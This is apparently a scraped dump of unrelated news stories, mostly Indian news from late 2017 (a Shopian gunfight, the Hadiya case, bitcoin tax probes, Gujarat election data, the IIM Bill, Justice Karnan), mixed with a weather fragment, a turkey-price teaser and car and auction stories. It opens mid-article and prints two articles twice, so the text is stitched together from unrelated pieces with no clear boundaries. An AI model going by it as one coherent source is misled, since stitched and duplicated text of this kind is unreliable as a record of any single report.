In the ensuing firefight, which lasted till this morning, two Jaish militants were killed and an army man and police constable injured, he said adding a militant managed to escape during the encoutner.

The injured security personnel were hospitalised.

The slain militants were identified as Tanveer Ahmad (local) and Ali Bhai alias Qari, a Pakistani militant.

Sources said security personnel blasted the house where from militants were firing on them by planting IED there.

They said some adjoining houses also suffered damages.

Sources said Tanveer had visited the area to meet his family and was trapped in a cordon and search operation of troops and subsequently killed in the gunfight.

After the killing of militants, locals took to roads and staged protest demonstrations. Chanting pro-freedom and anti-India slogans, the protestors pelted stones on the security personnel, who retaliated by firing tear gas shells, pellets and live ammunition, the locals said.

Over a dozen people including a 30-year-old lady Ruby alias Beauty Jan sustained injuries. The lady had sustained gunshot wounds and was referred to a nearby hospital, where doctors declared her brought dead.

At least 12 injured  10 of them hit by pellets and two having gunshot wounds  were referred to Srinagar hospital for specialised treatment.

The situation in the Shopian continued to be tense. Additional police and paramilitary personnel were rushed to the area to maintain law and order and foil protests.

A police spokesman said Ruby had sustained critical injuries during the cross-fire and succumbed to injuries in the hospital.

He said the slain militants were involved in number of militant incidents including the recent attack on J&K Bank vehicle on December 11 in which two bank guards were killed.

The separatist leaders Syed Ali Geelani, Mirwaiz Umar Farooq and Mohammad Yasin Malik while condemning the killing of lady have called for complete shutdown in Valley on Wednesday against the civilian killings.

They said before ladys killing today, a sumo driver was killed by army men outside his residence in Kupwara few days back. Earlier, a woman was killed by troops in Handwara and they tried to cover it up by blaming cross-fire for her killing.

The spree of brutal killings in Valley has crossed every limit and has now become intolerable. No Kashmiri is ready to tolerate this genocide silently and no stone will be left unturned to stop these brutalities, they said.

SRINAGAR: Two militants of Jaish-e-Mohammad were killed in an encounter with security forces in south Kashmirs Shopian district of Jammu and Kashmir on Tuesday while a woman died in security men firing on protestors during clashes near the encounter site. WATCH: Two terrorists shot dead in Jammu Kashmir's Shopian A police official said police, CRPF and army men had laid siege around Batmuran village of Shopian district on Monday evening after receiving inputs about presence of three Jaish militants including a local militant Tanveer Ahmad there. He said while the cording was being laid, militants hiding in the area fired on the security personnel. The fire was returned by the troops, triggering an encounter, the official said. He said during the encounter, police on request of Tanvirs family made repeated announcement from public address system asking the militant to surrender and lay down weapons. The official said, Tanvir and other militants turned down the offer and continued to fire on the security personnel. In the ensuing firefight, which lasted till this morning, two Jaish militants were killed and an army man and police constable injured, he said adding a militant managed to escape during the encoutner. The injured security personnel were hospitalised. The slain militants were identified as Tanveer Ahmad (local) and Ali Bhai alias Qari, a Pakistani militant. Sources said security personnel blasted the house where from militants were firing on them by planting IED there. They said some adjoining houses also suffered damages. Sources said Tanveer had visited the area to meet his family and was trapped in a cordon and search operation of troops and subsequently killed in the gunfight. After the killing of militants, locals took to roads and staged protest demonstrations. Chanting pro-freedom and anti-India slogans, the protestors pelted stones on the security personnel, who retaliated by firing tear gas shells, pellets and live ammunition, the locals said. Over a dozen people including a 30-year-old lady Ruby alias Beauty Jan sustained injuries. The lady had sustained gunshot wounds and was referred to a nearby hospital, where doctors declared her brought dead. At least 12 injured  10 of them hit by pellets and two having gunshot wounds  were referred to Srinagar hospital for specialised treatment. The situation in the Shopian continued to be tense. Additional police and paramilitary personnel were rushed to the area to maintain law and order and foil protests. A police spokesman said Ruby had sustained critical injuries during the cross-fire and succumbed to injuries in the hospital. He said the slain militants were involved in number of militant incidents including the recent attack on J&K Bank vehicle on December 11 in which two bank guards were killed. The separatist leaders Syed Ali Geelani, Mirwaiz Umar Farooq and Mohammad Yasin Malik while condemning the killing of lady have called for complete shutdown in Valley on Wednesday against the civilian killings. They said before ladys killing today, a sumo driver was killed by army men outside his residence in Kupwara few days back. Earlier, a woman was killed by troops in Handwara and they tried to cover it up by blaming cross-fire for her killing. The spree of brutal killings in Valley has crossed every limit and has now become intolerable. No Kashmiri is ready to tolerate this genocide silently and no stone will be left unturned to stop these brutalities, they said.
By Online Desk

A Hyderabad-based activist on Tuesday wished Hadiya and Shafin Jahan on the occasion of their first wedding anniversary, in an expression of solidarity and in sending a "strong message" to the Chief Justice of India.

Taking to social media, Dr Lubna Sarwath has written a long message congratulating the couple.

Calling them an even more rocking couple than celebrities, the activist has slammed the courts while extending her best wishes to Hadiya and Shafin for a very happy married life.

Addressing the couple on behalf of all Indians, Lubna says, Kerala High Court has Talaqued you both in a single go!!! this shd be more agonizing than in talaq uttered thrice by some arrogant and thoughtless muslim husbands, and much painful than in case of a famous husband who abandoned his wife hanging for years, and the wife still after decades publicly tells that with a single call from 'him' she would 'go to him'; but, according to Constitution, Kanoon (Muslim Personal Law 1937) and according to Qur'an, your nikah (marriage) is in tact.

Speaking to newindianexpress.com over the phone, Lubna says, I want to send out a strong message to the Supreme Court. On the one hand, the highest judiciary body is helping the Muslim women from the clutches of oral talaq, but on the other hand the freedom of a young woman is also taken away by this very judiciary. The Kerala High Court order which has annulled the marriage of Hadiya and Shafin is on extremely whimsical grounds.

Lubna has sent her message across various groups including the media and to the Chief Justice of India.

A screenshot of one of the Facebook posts.

The Kerala 'love jihad' case

The marriage of the couple was annulled by the Kerala High Court last December after Hadiya's father alleged that his daughter was being indoctrinated and may be taken to ISIS territories in Iraq and Syria by extremist Islamic outfits. She was then placed in the custody of her father. Hadiya (who grew up as Akhila Ashokan) had married Shafin subsequently after her conversion to Islam.

Her husband challenged the court's nullification of their marriage and sought a recall of the court order asking the NIA to investigate the conversion of Hadiya to Islam and her marriage.

The Supreme Court last month ordered that the 24-year-old be allowed to complete her medical internship at Sivaraj Homoeopathic Medical College in Salem. Posting the next hearing of the case to the third week in January, it also ordered the Tamil Nadu government to ensure her safety.

Read the full post here:

A Hyderabad-based activist on Tuesday wished Hadiya and Shafin Jahan on the occasion of their first wedding anniversary, in an expression of solidarity and in sending a "strong message" to the Chief Justice of India. Taking to social media, Dr Lubna Sarwath has written a long message congratulating the couple. Calling them an even more rocking couple than celebrities, the activist has slammed the courts while extending her best wishes to Hadiya and Shafin for a very happy married life. Addressing the couple on behalf of all Indians, Lubna says, Kerala High Court has Talaqued you both in a single go!!! this shd be more agonizing than in talaq uttered thrice by some arrogant and thoughtless muslim husbands, and much painful than in case of a famous husband who abandoned his wife hanging for years, and the wife still after decades publicly tells that with a single call from 'him' she would 'go to him'; but, according to Constitution, Kanoon (Muslim Personal Law 1937) and according to Qur'an, your nikah (marriage) is in tact. Speaking to newindianexpress.com over the phone, Lubna says, I want to send out a strong message to the Supreme Court. On the one hand, the highest judiciary body is helping the Muslim women from the clutches of oral talaq, but on the other hand the freedom of a young woman is also taken away by this very judiciary. The Kerala High Court order which has annulled the marriage of Hadiya and Shafin is on extremely whimsical grounds. Lubna has sent her message across various groups including the media and to the Chief Justice of India. A screenshot of one of the Facebook posts. The Kerala 'love jihad' case The marriage of the couple was annulled by the Kerala High Court last December after Hadiya's father alleged that his daughter was being indoctrinated and may be taken to ISIS territories in Iraq and Syria by extremist Islamic outfits. She was then placed in the custody of her father. Hadiya (who grew up as Akhila Ashokan) had married Shafin subsequently after her conversion to Islam. Her husband challenged the court's nullification of their marriage and sought a recall of the court order asking the NIA to investigate the conversion of Hadiya to Islam and her marriage. The Supreme Court last month ordered that the 24-year-old be allowed to complete her medical internship at Sivaraj Homoeopathic Medical College in Salem. Posting the next hearing of the case to the third week in January, it also ordered the Tamil Nadu government to ensure her safety. Read the full post here:
Haven't bought your Thanksgiving turkey yet? A look at local prices.

While farms like Helgers in Tiverton have already sold out of turkeys, there are still frozen and fresh birds for sale at local markets.
Champaign, IL (61820)

Today

Mostly cloudy with a few snow showers this evening. Low 21F. Winds W at 10 to 20 mph. Chance of snow 30%..

Tonight

Mostly cloudy with a few snow showers this evening. Low 21F. Winds W at 10 to 20 mph. Chance of snow 30%.
When the third-generation of the Mercedes-Benz A-Class was released, it soon became a big success everywhere it was sold. But despite the popularity of the smallest and most affordable model in the Mercedes range, the German luxury automaker refrained from offering it in the lucrative American market. That's finally coming to an end though, as the latest redesign of the entry-level Mercedes is going to be made available to buyers in the US as the company believes it finally has a version that will appeal to US consumers.

It's probably because for the first time, Mercedes is going to offer a sedan version of the A-Class, and that's the one US dealers will be able to look forward to selling in the autumn of 2018 as a 2019 model year.

The timing could be seen as a little puzzling by some observers though. Firstly, US buyers are not exactly in love with small cars right now as crossovers dominate to such a point that the likes of the Dodge Dart and Chrysler 200 have already been completely discontinued. Secondly, although the US auto market has been more than a little resistant to hatchback body styles in the past, the likes of the latest Honda Civic and Chevrolet Bolt appear to be changing perceptions after now being offered as hatches as well as sedans.

But the global sales chief of Mercedes-Benz, Britta Seeger, says, "We truly believe that now with the body style we have the right answer for the market. It's a very attractive car for younger people  but not only for younger people  it can have a broad audience because it's a nice entrance into the Mercedes-Benz family."

The redesigned A-Class will be built on the company's MFA2 platform, which already underpins the likes of the CLA and GLA crossover, and the A-Class sedan for the American market is expected to be built at a Nissan-Daimler joint venture assembly facility to open in Mexico.

Also Watch: All-New Volvo XC60 | First Drive Review | Cars18
Paris: The French government stepped in Monday to declare the manuscript of the Marquis de Sade's "120 Days of Sodom" a national treasure as it was about to be sold at auction in Paris.

Officials ordered that the 18th-century erotic masterpiece be withdrawn from the sale, along with Andre Breton's "Surrealist Manifestos", banning their export from France, the Aguttes auction house told AFP.

They were part of a vast sale of historic documents owned by the French investment firm Aristophil, which was shut down in scandal two years ago, taking ($1 billion) of its investors' money with it.

"120 Days of Sodom" was expected to go for up to six million euros, while Breton's highly influential manifestos on modern art were estimated at around four million euros.

Sade wrote the controversial work about four rich libertines in search of the ultimate form of sexual gratification on a roll made from bits of parchment he had smuggled into his cell in the Bastille.

When the Paris prison was stormed at the beginning of the French revolution on July 14, 1789, the famously dissolute aristocrat was freed, but he was swept out by the mob without his manuscript.

Sade believed it had been lost to the looters and wept "tears of blood" over it, but the unfinished manuscript turned up decades later.

Even so, the book languished unpublished for more than a century and was banned in Britain until the 1950s.

Auctioneer Claude Aguttes, who is organising the 300 sales in which Aristophil's huge collection of manuscripts is being dispersed, said the French ministry of culture had promised to buy the Sade and Breton works "at international market rates".

French courts seized 130,000 historic documents which Aristophil had bought for its investors in 2015 after police denounced the company as huge "pyramid scheme", claiming that its founder Gerard Lheritier ran a Ponzi operation similar to that of Wall Street fraudster Bernard Madoff.
New Delhi: Widening its probe into bitcoin investments and trade, the Income Tax (IT) department is set to issue notices to 4 to 5 lakh high networth individuals (HNI) across the country who were trading on the exchanges of this unregulated virtual currency.

The taxman had conducted surveys at nine such exchanges last week to check instances of tax evasion.

The department, official sources said, found that out of the estimated 20 lakh entities registered on these exchanges, about 4 to 5 lakh were "operational" and indulging in transactions and investments.

Sources told PTI that the Bengaluru investigation wing of the tax department, which supervised last weeks operations, has now dispatched the information of the individuals and entities found on these databases to eight other such wings across the country for a detailed probe.

"Those individuals and entities whose records were recovered by the department are now being probed under tax evasion charges. Notices are being issued and they will have to pay capital gains tax on the bitcoin investments and trade," a senior official privy to the operation said.

About 4-5 lakh HNIs and their businesses are being issued notices which will first seek their relevant financial details and subsequently establish the tax demand, if any, he said.

As the bitcoins or the virtual currencies (VCs) are illegal and unregulated in the country as of now, the IT department has taken action as per the existing provisions, they said.

The survey operations conducted last week, under section 133 A of the Income Tax Act, were undertaken for "gathering evidence for establishing the identity of investors and traders, the transaction undertaken by them, identity of counter-parties, related bank accounts used, among others," they said.

A survey action under the IT law pertains to the tax officials making a surprise visit to the business premises of the party under action but not their residential ones.

The trigger for the action is understood to be the huge spike being registered in the value of bitcoins and other virtual currencies in the recent past.

Suspected black money being converted into white, post demonetisation, through the use of bitcoins was also under the departments scanner, officials said.

Earlier this month, there was a spurt in the value of a bitcoin. It rose from under USD 10,000 at the start of the year to close to USD 20,000, before a sharp 20 per cent plunge within hours.

Bitcoin, a virtual currency, is not regulated in the country and its circulation has been a cause for concern among central bankers the world over for quite a while now.

The Reserve Bank of India (RBI) has also cautioned users, holders and traders of virtual currencies. The government has also said that it does not recognise crypto-currency as legal tender in India.

In March, the Union finance ministry constituted an Inter-Disciplinary Committee to take stock of the present status of virtual currencies both in India and globally and suggest measures for dealing with them.

The committee has submitted its report which is being examined.
New Delhi: Speaking in the Rajya Sabha on Tuesday Finance Minister Arun Jaitley said the government wants to bring petroleum and petroleum products under the ambit of GST and is awaiting the states response on the same.

Government is in favour of bringing petroleum products under GST. We would like to await consensus of the states and hope states at some stage soner or later agree to the consensus, said Jaitley

At present, different petroleum products are taxed differently across states. Given the huge variance in the value-added tax (VAT) on petroleum products across the states, the petroleum ministry has been advocating for uniformity in taxes.

A case in point being diesel. While the VAT applicable on diesel in Delhi is 16.75%, it is 28.51% in Mumbai.

Experts believe the finance ministrys plan, if put in practice, will help bring in uniformity in prices.

Tax burden on the products will be quantified. Since they are not a part of GST, the adjoining extra cost will help quantify the burden. Prices of these products shall also reach a probable uniformity, said Bipin Sapra, partner-indirect tax at consultancy firm EY.

Instead of zero ratings, any finite number will have a massive impact on compliances and also call to question some of the existing arrangements in terms of implementation. Idea is to have a rate that wont affect the existing GST chain added Anish De, partner-infrastructure government and healthcare, KPMG India.

According to the Petroleum Planning Analysis Cell (PPAC), which works under the ministry of petroleum and natural gas, total state-wise collection of sales tax on petroleum, oil and lubricant products for 2015-16 amounted to around Rs.1.43 trillion. The total contribution of the petroleum sector to the central exchequer, in 2015-16, was around Rs.2 trillion, including the cess on crude oil, excise duty and custom duty, among others.

This comes at a time when the National Democratic Alliance government wants to improve the energy access for its citizens. India imported 202.85 million tonne (MT) of crude oil in 2015-16 for Rs.4.16 trillion, according to PPAC. For 2014-15, India imported 189 MT of crude oil at a cost of Rs.6.87 trillion.

According to BP Global data, India has emerged as the third largest consumer of crude oil with a consumption of 4.2 million barrels per day (mbpd) for calendar year 2015, after the US (19.39 mbpd) and China (11.96 mbpd). India overtook Japan which consumed 4.15 mbpd.
New Delhi: The government on Tuesday said the Income Tax department has seized assets worth Rs 900 crore till March 2017 post demonetisation.

The IT department conducted searches on 900 groups during November-March 2017 and undisclosed income of Rs 7,961 crore was admitted, said Minister of State for Finance P Radhakrishnan in a written reply to the Rajya Sabha.

"The Income Tax Department takes appropriate action in suitable cases, which include searches, surveys, assessment of income, levy of tax, penalty and filing of prosecution complaints before criminal courts, whichever is applicable," he said.

Further, during April to October, around 275 groups were searched by the department, where assets worth Rs 573 crore were seized and a disclosure of over Rs 7,800 crore was made by the assesses concerned, he added.

The minister also said there there have been visible trend of an increase in households' assets held in bank deposits, life insurance and mutual funds, a reduction in cash circulation, especially substantial reduction in high value currency notes, among other things post demonetisation.

He also highlighted various measures taken by the government to boost real GDP growth. These include, roll out of Goods and Services Tax (GST) and bank recapitalisation.
New Delhi: There was a "100 percent match" in the random vote count on EVMs and paper trail slips carried out by the Election Commission in 182 Gujarat polling stations on Monday, a senior official said.

The EC had said it would conduct random vote counts on EVMs and VVPAT slips in one polling station in each of the 182 Assembly constituencies.

"There was a 100 percent match in the results of the EVM and the slips produced by the paper trail machines," the official of the election machinery said.

The polling stations were decided through a draw of lots in which the candidates or their agents were also present.

The EC had decided to match the tally in select polling stations amid allegations that the EVMs were compromised to help the BJP.

In Gujarat, Chief Electoral Officer B B Swain also said that the vote count through the EVMs matched with the VVPAT in all the constituencies where the paper trail slips were counted.

Officials did not find any mismatch in the EVM vote count and VVPAT slip count as the counting concluded on Monday evening, Swain said.

"This was basically a confidence-building exercise. We did this at one polling booth each in all the 182 seats after the counting ended today. At all these booths, vote count of a randomly selected EVM matched with the slips of the connected VVPAT. There was no mismatch at any of the booths," he said.

Besides, as announced earlier, VVPAT slips were taken into consideration during Monday's counting at 10 booths across seven constituencies as the presiding officers of these booths had failed to wipe out the votes from the EVMs during the mock poll ahead of the voting on December 9 and 14.

In addition, four such new cases had emerged during Monday's counting at Vagra, Dwarka, Ankleshwar and Bhavnagar- Rural seats, Swain said.

"There was a mismatch of some votes on one booth each of these four seats. This occurred because the Returning Officer must have made the same mistake but it could not be detected earlier. So we took into account VVPAT slips for these booths during the counting and resolved the issue," he said.

On December 15, the Supreme Court had refused to entertain a plea of the Gujarat Congress seeking counting of at least 20 percent of the paper trail slips manually along with votes cast in the EVMs in each constituency of the state.

It had said that the court cannot interfere unless the Election Commission of India's decision to restrict the EVM- VVPAT paper trail to one booth per constituency is proved "arbitrary", "illegal" or "malafide".
New Delhi: The Global IIM Alumni Network has expressed concern about a bill passed by the Rajya Sabha aiming to give Indian Institutes of Management greater autonomy.

The body is worried that the IIM Bill 2017 will push back their aim to bring social inclusivity to IIMs.

D Raja of the CPI also expressed concern and asked the government about how it will ensure representation of Scheduled Castes, Scheduled Tribes and Other Backward Classes in the governing bodies of the IIMs.

Arun Khobragade, a representative of the IIM alumni body told News18.com that concerned members were in touch with political parties to look into the ability of the Bill to address social inclusivity.

Members of the network met Rajya Sabha member Rajeev Gowda on Tuesday before the bill was passed. They asked: How this Bill addresses inclusivity, diversity issues? If not, why not make specific provision for reservation both in faculty as well as FPM program?

They also raised the point that despite reservation provisions in constitution, these institutes have flagrantly violated those provisions. What in this bill will ensure that these institutions follow the law of the land when it comes to reservation provisions both for faculty and FPM program now that we intend to give more autonomy to these institutions?

Regarding the fee structure, they said: Some of these institutions are increasing fees so that they don't depend on government grants or control, thereby becoming a private clubs of the rich. How does government ensure that poor are not deprived of the quality education that these institutions are supposed to provide?

The new bill aspires to bring the standards of Havard University to IIMs by granting autonomy.

Speaking to News 18.com Khobragade, said, Inclusion policy that we are trying to force on IIMs, will get a push back after the Bill being passed. We are worried about it and have tried to sensitize them by showing the international models of social inclusion and emphasis on diversity in international schools like Havard, LSE and MIT among others. Also tried to show how it can help IIM graduates to be better managers.

Institutions of prominence in USA, UK, Europe etc are able to successfully implement the policy of social inclusion because the industry supports diversity, they ask for diversity. Apple, Microsoft, seek for diversity, he added.

This makes the management institutions also pitch for social inclusion. But in 45 years of our Management system, we have been working with the same gene pool, which has brought about disastrous results on both academic and industry side, he added. The moment they talk on diversity, it is met by the talk "on dilution of quality. How do you measure that? he asked.

IIM BILL 2017 Features

The Bill declares 20 existing Indian Institutes of Management (IIMs) as institutions of national importance and confers on them the power to grant degrees.

The board of governors will be the executive body of each IIM, comprising up to 19 members. It will nominate 17 board members including eminent persons, faculty members and alumni. The remaining two members will be nominees from the central and state governments, respectively.

The board appoints its own chairperson. They will appoint the Director of each IIM. A search committee will recommend names for the post of the director. The director is eligible for variable pay, to be determined by the board.

The Academic Council of each IIM will determine the: (i) academic content; (ii) criteria and process for admission to courses; and (iii) guidelines for conduct of examinations.

A coordination forum will be set up, which will include representation from the 20 IIMs. It will discuss matters of common interest to all IIMs.
As per a latest notice issued by the Central Board of Secondary Education (CBSE) to its affiliated schools, the Class 10th and 12th Exams will be scheduled for March 2018. CBSE is scheduled to conduct the practical exams for AISSE and AISSCE in January 2018. The notice also reiterated the schools to relieve regular and experienced teachers of Classes 9th to 12th for time bound evaluation of answer sheets and declaration of results. Smooth and efficient conduct of class 10 and 12 examinations along with declaration of result in time with accuracy has always been the foremost endeavour of the Board.

To ensure quality and error-free evaluation, the board requires a large number of experienced and trained teachers to complete the whole process in a time-bound manner, read the circular, further pointing out how schools have not cooperated with CBSE in the past.

However, it has been observed that the schools are not cooperating with the Board in nominating/deputing and relieving their regular and experienced teachers for the process. The directions of the board in this regard are not being followed in letter and spirit.

The circular further stated the consequences for schools failing to adhere to the teachers requirement, Non-compliance of the directions will be seen as a misconduct and the board will be compelled to take strong action, including penalty and/or further action of disaffiliation.

There are over 18000 schools in India affiliated to the Central Board of Secondary Education, New Delhi. The board depends on the experienced teachers of the affiliated schools for evaluating the mark sheets with accuracy and in a timely manner so as to not affect the further admission process of students who appear for their matriculation and senior secondary examination.

CBSE has instructed the schools to ensure all teachers from Class 9th till 12th register themselves on the examination portal of CBSE before 5th January 2018 for timely identification and intimation of the teachers shortlisted by the Board.

The Board has mandated the schools to ensure pre-evaluation training workshops for teachers and has also asked to relieve the identified teachers to ensure quality is not compromised during the evaluation process, Ensure that all teachers identified as evaluators of answer script are given no other teaching or school related work during evaluation, thereby raising quality of evaluation.
New Delhi: Out of the 182 candidates elected to the Gujarat assembly on Tuesday, as many as 47 have criminal cases registered against them, data released by Gujarat Election Watch and Association for Democratic Reforms (ADR) has revealed.

This means that close to 26 per cent, or every fourth MLA, faces a criminal case, showing a dip in comparison to the assembly elected in 2012, when 57 (31%) MLAs had declared criminal cases against themselves.

ADR, along with Gujarat Election Watch, had analysed the self-sworn affidavits of all 182 newly elected MLAs.

The affidavits submitted to the Election Commission of India (ECI) showed that 33 of the 182 MLAs faced serious criminal charges such as murder, attempt to murder, kidnapping, and crime against women against them. This is a five per cent increase from last time, when 24 MLAs  18 percent of the total  had declared serious criminal cases.

Two MLAs  Maheshbhai Chottubhai Vasava (Bhartiya Tribal Party) and Katara Bhaveshbhai Babubhai (INC)  have cases related to murder against them.

Vasava is also the MLA with most number of criminal cases registered against him. He is named in 24 criminal cases, including two of murder and one of attempt to murder.

He is the president of the newly formed Bharatiya Tribal Party, which allied with the Congress and won two seats. Vasava won the Dediapada seat by over 83,026 votes on Monday.

Six MLAs have cases related to attempt to murder against them. One MLA, Ahir (Bharwad) Jethabhai Ghelabhai, has a case related to rape filed against him under the IPC Section 376. Ghelabhai, who is 67, is a member of BJP from Shehra constituency.

Congress Leads in Criminal Cases

Congress has the most number of MLAs who have criminal cases against them. Out of the 77 elected representatives, 25 (32%) declared criminal cases in their affidavits. The number of MLAs from BJP who have criminal cases registered against them is 18.

One MLA from Bhartiya Tribal Party, one from National Congress Party (NCP) and two Independent MLAs also have declared criminal cases registered against themselves.

Congress candidate Kiritkumar Patel, who faces 12 criminal cases, won from Patan constituency. NCPs Kadhalbhai Jadeja has 11 criminal cases against him. He won from Kutiyana. BJP leader Shailesh Mehta, who is named in 11 criminal cases, won from Dabhoi.

The Assembly of Crorepatis

The average of assets per MLA in the Gujarat assembly is Rs 8.46 crore.

Out of the 182 newly elected MLAs, 141 (77%) are crorepatis. 84 out of 99 MLAs from BJP, 54 out of 77 MLAs from INC, 2 MLAs from BTP and 1MLA from NCP have declared assets valued at more than Rs 1 crore.

Saurabh Yashvantbhai Dalal Patel, who won from the Botad constituency from a BJP ticket, is the richest MLA in the Gujarat assembly. His total assets are worth Rs 123 crore.

Jigneshkumar Mevani, who ran as independent candidate from Vadgam constituency, has the lowest declared assets. His total assets are worth just Rs 10 lakh.
Kolkata: Former Calcutta High Court judge C S Karnan is set to be released on Wednesday after serving a six-month jail sentence, which was handed out to him by the Supreme Court for contempt.

Speaking to News18 from Chennai, Karnan's friend and advocate, Peter Ramesh Kumar, said, Yes he is coming out tomorrow (Wednesday). It is a good news for us. His family members will be in Kolkata to receive him. From Presidency Correctional Centre he will go to his Rosedale apartment (New Town) and will stay there for a week to complete his retirement formalities. After that he will come back to Chennai.

He further added: Last time I met him in Kolkatas Correctional Centre was on November 16. He was fine but had lost nearly 10 Kgs in weight. He wrote an autobiography inside jail and he told me that he wants to publish his autobiography along with 22 orders which he passed against the Supreme Court judges (when the controversy was going on).

Despite repeated attempts, his son Sugan was not available for comment. He, along with his mother and Karnans brother, will be in Kolkata on Wednesday to complete all the official formalities before his release.

Karnans caretaker, Nazrul Islam, expressed happiness that Karnan will be released after serving jail term for six months.

I met him several times in jail and he looked very strong. I met him a few days ago and he said there is no problem inside jail...the jail officials respect him a lot. Tomorrow (Wednesday), I will be going to jail to receive him, he said.

IG, Prisons, Arun Gupta, refused to comment on the matter. Though an official source said, Justice Karnan was very humble and polite with them. He used to live a simple life and most of the time busy in writing autobiography. He happily used to have flat rice, puffed rice, sattu and bread with jaggery for breakfast. For lunch and dinner, he used to have rice, sabzi and dal and sometimes roti.

Karnan was provided with a bed and a blanket along with a chair inside his cell.

He was arrested by West Bengal police from a house in Coimbatore's Malumichampatti area in Tamil Nadu. He was on the run and, for over a month, managed to evade the police.

Karnan had earned the dubious distinction of becoming the first sitting high court judge to have been sentenced to jail.

The apex court had sentenced him to six months in jail for contempt of court on May 9. Karnan was a serving judge of the Calcutta High Court at that time.

A seven-judge bench of the Supreme Court, headed by Chief Justice of India J S Khehar, had asked the West Bengal director general of police (DGP) to take Karnan, who was on a warpath with the apex court for months, into custody.

The bench stated that Justice Karnan has to be looked at like an ordinary citizen of the country and cannot be treated like a sitting judge in this case. Justice Karnan was also found guilty of abusing the judiciary and judicial indiscretion. Then, CJI Khehar noted that contempt is contempt.

The Supreme Court had earlier issued a bailable warrant against the judge to secure his presence before it in connection with the contempt case.

Karnan, who had enrolled as an advocate with the Bar Council of Tamil Nadu in 1983, was appointed a judge of the Madras High Court in 2009. He was transferred to the Calcutta High Court on March 11, 2016.

He was transferred from the Madras High Court for his repeated allegations against and run-ins with the then chief justice and fellow judges of the court.
New Delhi: Finance Minister Arun Jaitley on Tuesday stoutly defended the move to set up fast-track courts for dealing exclusively with criminal cases against politicans, saying law makers should take the lead in setting an example.

Responding to opposition concerns in the Rajya Sabha over the message setting up of special courts to try politicians will send, he said Caesar's wife must be above suspicion.

Jaitley, who is also the Leader of the House, said he was of the personal opinion that like Caesar's wife, law makers should be above suspicion.

As elected representatives, can law makers say that their trial should be delayed, he said, asking political parties to rise and set an example.

"You are class apart... you are law makers. You should set the example," he said.

Earlier, opposition parties led by Congress and SP raised the issue of Supreme Court's recent direction to the Centre to draft a scheme for setting up fast-track courts to deal exclusively with criminal cases involving legislators and political persons.

Raising the issue through a 'point-of-order', Naresh Agrawal (SP) said Article 14 of the Constitution provides for equity before law and elected representatives are on par with other citizens.

While there are no special courts for fast-track trial of terrorists and dreaded criminals, setting up one for elected representatives would create misleading perception about politicians, he said.

He questioned the governmnent's affadivit supporting setting up of the fast-track courts.

Anand Sharma (Cong) said while there is no question of delaying prosecution of anyone, it would tantamount to profiling and excessive vilification of law makers if a perception is created that the fast-track courts are needed for the elected representatives only.

The Government, he said, should ensure that enough funds are allocated for creation of enough courts for fast-track trial of all.

But singling out only the elected representatives will create a public perception that would otherwise have an inherent potential of being abused by the government of the day, he said.

Majeed Memon (NCP) said if certain section is treated separately, it may be bordering on infringment of Article 14.

Speedy justice should be delivered to all citizens, he added.

KTS Tulsi (Nominated) asked who would do justice to the undertrials languishing in jail for 10-15 years.

C M Ramesh (TDP) however supported the fast-track courts saying it was very correct decision.

Sukhendu Sekhar Roy (TMC) asked if the government would also set up special courts for prosecuting those who have defrauded the country of Rs 8.5 lakh crore.

Chairman M Venkaiah Naidu said he will give a ruling on the point of order at an appropriate time.
New Delhi: As reports continue to emerge from across the country on several deaths related to starvation, the government in a reply to a question in Lok Sabha has stated that there has been no reported incidents in the last five years. The Centre also said that that media reports on such deaths were not substantiated.

Congress leader Mallikarjun Kharge and Trinamool leader Kalyan Banerjee asked Minister of Consumer Affairs CR Chaudhary if it was true that despite 5.2 lakh Fair Price Shops (FPSs) starvation deaths were still prevalent. They also asked for a number on such deaths being reported in the last five years.

To this, Chaudhary said, No State Government/Union Territory Administration has reported any incident of death due to starvation so far.

Chaudhary also dismissed media reports and stated, There have been media reports of starvation deaths in Jharkhand and UP, however, after enquiry, the state governments informed us that the allegations of deaths due to starvation have not been substantiated.

This comes close to the heels of the death of a 65-year-old woman in Korta village of Danda block, which locals alleged was a case of starvation. The district administration, though, dismissed the allegation and promised action based on the post-mortem report.

Danda block development officer Sahjad Parwez said that the deceased was suffering from prolonged illness but couldn't verify whether she had a stock of food grains in her house.

Chaudhary also laid bare the governments plan to tackle starvation deaths by providing food security to the vulnerable population.

To eradicate the problem of starvation and to provide food security to the vulnerable population, the Government has been providing food grains at highly subsidized prices to the targeted population through State Governments/Union Territory Administrations under the Targeted Public Distribution System (TPDS) in terms of National Food Security Act, 2013 and Other Welfare Schemes (OWS). National Food Security Act (NFSA), 2013 provides for coverage of up to 75% of the rural population and upto 50% of the urban population thus covering about two-third of the population for receiving food grains at highly subsidized prices of Rs.3, 2 & 1 per Kg for rice, wheat & coarse grains respectively under TPDS, replied the Union Minister.

In September this year, an 11-year-old girl, Santoshi was reported to have died of starvation in Jharkhands Simdega district after her family was struck off the government welfare rolls for not linking their ration card with Aadhaar. However authorities have dismissed any such case and said that Santoshi had succumbed to an illness.

In October this year, a 75-year-old man died of hunger in Jharkhands Deoghar district after the biometric reader at the PDS shop couldnt read his daughters thumb impression. This was again a charge denied by the government.

According to the United Nations annual hunger report released in 2015, India was home to the highest number of hungry people in the world  194 million. India's numerous social programmes are expected to continue to fight hunger and poverty, the report had stated.
New Delhi: The home ministry on Tuesday told the Parliament that only one case of lynching was registered in the country between January 2016 and July 2017.

In a written response to a question by Shiv Sena MP Rajan Vichare, minister of state for home affairs, Hansraj Gangaram Ahir, said, No specific data is maintained by the National Crime Records Bureau (NCRB) in this regard.

He said that as per data furnished by States and UTs as on July 2017, only one case was registered in 2017, in Rajasthan, since the time period in question.

The government further said that police and public order were state subjects and it was primarily their duty to maintain law and order, and protect life. The state governments are competent to deal with such offences under the extant provisions of laws, Ahir told Parliament.

At present, national or state crime data does not distinguish general violence from lynchings, but the NCRB does plan to start compiling data soon. If the plan is approved by the home ministry, the bureau will analyse the causes and patterns behind such incidents.

Independent agencies, however, have compiled the data. IndiaSpend, a data journalism platform, recorded eight lynching deaths in 2016 alone in 24 hate crimes. Muslims accounted for 43 per cent of the victims, followed by Dalits at 34 per cent.

In 2017, the number of such incidents rose to 37 with 11 deaths, it reported. Muslims accounted for 61per cent of the victims. In both years, most victims were males  74 per cent in 2016 and 83 per cent in 2017.

The ministry did not give details of the case that was registered as lynching in Rajasthan. In April this year, Pehlu Khan, a dairy farmer, was killed by self-proclaimed gau rakshaks on suspicion of smuggling cattle in Rajasthans Alwar district.

A few months after Pehlu Khans killing, Zafar Islam, a 55-year-old CPI (ML) activist was killed in June, allegedly by local municipal officers, when he tried to stop them from photographing women who were defecating in the open.

